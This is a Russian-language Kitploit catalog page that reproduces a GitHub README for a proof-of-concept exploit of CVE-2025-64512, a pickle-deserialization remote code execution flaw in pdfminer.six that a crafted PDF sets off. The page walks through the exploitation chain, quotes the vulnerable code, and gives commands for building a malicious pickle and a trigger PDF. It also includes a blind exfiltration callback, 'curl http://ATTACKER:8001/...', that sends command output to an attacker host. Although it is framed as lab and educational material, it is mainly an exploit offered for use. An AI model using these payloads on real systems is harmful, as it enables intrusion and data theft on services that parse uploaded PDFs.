Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-64512-pdfminer-PoC — PoC для CVE-2025-64512: RCE через десериализацию pickle в CMapDB библиотеки pdfminer.six с помощью специально созданного PDF-файла | Kitploit
Инструменты/GitHubGitHub/oguzylmzx/cve-2025-64512-pdfminer-poc
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHuboguzylmzx/cve-2025-64512-pdfminer-poc

CVE-2025-64512-pdfminer-PoC

PoC для CVE-2025-64512: RCE через десериализацию pickle в CMapDB библиотеки pdfminer.six с помощью специально созданного PDF-файла

Репозиторий
225 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-64512 — PoC десериализации CMapDB в pdfminer.six

Доказательство концепции (PoC) уязвимости десериализации в pdfminer.six, которая приводит к выполнению произвольного кода при разборе специально созданного PDF.

ЦЕЛЬ / ПРАВОВОЙ ОТКАЗ Этот репозиторий предоставлен только для образовательных целей и авторизованных исследований безопасности. Он воспроизводит публично раскрытую, исправленную CVE. Не используйте его против систем, которыми вы не владеете или не имеете письменного разрешения на тестирование. Автор не несёт ответственности за любое неправомерное использование. Предполагаемое окружение: Hack The Box / VulnHub / локальная лаборатория.

Уязвимость

  • CVE: CVE-2025-64512
  • Затронуты: pdfminer.six до 20250506
  • Исправлено: 20250506
  • Тип: Десериализация недоверенных данных (CWE-502)
  • В cmapdb.py функция CMapDB._load_data() читает CMap-файл, имя которого формируется из записи /Encoding шрифта PDF и передаёт содержимое в pickle.loads():

    root@kitploit:~
    def _load_data(cls, name):
        name = name.replace("\0", "")
        filename = "%s.pickle.gz" % name
        log.debug("loading: %r", name)
        cmap_paths = (
            os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
            os.path.join(os.path.dirname(__file__), "cmap"),
        )
        for directory in cmap_paths:
            path = os.path.join(directory, filename)
            if os.path.exists(path):
                gzfile = gzip.open(path)
                try:
                    return type(str(name), (), pickle.loads(gzfile.read()))
                finally:
                    gzfile.close()
        raise CMapDB.CMapNotFound(name)
    

    Три свойства в совокупности делают эту уязвимость эксплуатируемой:

    1. pickle.loads() для данных, контролируемых атакующим, -> выполнение произвольного кода.
    2. Поскольку имя файла абсолютное, os.path.join() отбрасывает каталог поиска и открывает файл по этому точному пути.
    3. .pickle.gz добавляется автоматически, поэтому путь указывается без расширения.

    Цепочка эксплуатации

    Для эксплуатации необходимо загрузить два файла в уязвимое веб-приложение:

    1. payload.pickle.gz — gzip-сжатый pickle, чей __reduce__ выполняет команду и возвращает dict в форме CMap (чтобы разбор продолжался корректно после срабатывания нагрузки).
    2. trigger.pdf — минимальный PDF, использующий Type0/CIDFont, чей шрифт /Encoding указывает на абсолютный путь к pickle (без расширения).

    Важны две детали на уровне PDF:

    • CMapDB.get_cmap() достигается только через CIDFont (шрифт Type0 с записью DescendantFonts), а не через обычный шрифт Type1.
    • Токен имени в PDF начинается с разделителя /, поэтому закодированный путь должен начинаться с #2f, чтобы сохранить ведущий слэш абсолютного пути. Внутренние слэши также заменяются на #2f, поскольку / является разделителем имени.

    Когда цель обрабатывает PDF (например, фоновый наблюдатель, вызывающий pdf2txt.py), CMapDB._load_data() открывает pickle и выполняет команду.

    Использование

    root@kitploit:~
    # 1. Build the malicious pickle (gzip-compressed)
    python3 make_payload.py 'id; whoami' -o payload.pickle.gz
    
    # 2. Build the trigger PDF pointing at the pickle's absolute path (no ext)
    python3 make_trigger_pdf.py /var/www/research.bedside.htb/uploads/payload -o trigger.pdf
    
    # 3. Upload both files to the vulnerable PDF upload form, then wait for
    #    the processing watcher to pick up trigger.pdf
    

    Проверено сквозным образом на pdfminer.six 20250416 (уязвимая версия): запуск pdf2txt.py trigger.pdf выполняет команду из нагрузки и завершается с кодом 0.

    Команда нагрузки работает вслепую; выводите данные через callback, например:

    root@kitploit:~
    python3 make_payload.py 'curl http://ATTACKER:8001/$(id|base64 -w0)' -o payload.pickle.gz
    

    Файлы

    ФайлНазначение
    make_payload.pyСоздаёт вредоносный payload.pickle.gz
    make_trigger_pdf.pyСоздаёт триггерный PDF с /Encoding и корректными xref-смещениями

    Ссылки

    • CVE-2025-64512 (NVD)
    • журнал изменений pdfminer.six / коммит с исправлением для 20250506
    • Машина Hack The Box Bedside (авторизованное воспроизведение в лабораторных условиях)
    Скачать инструмент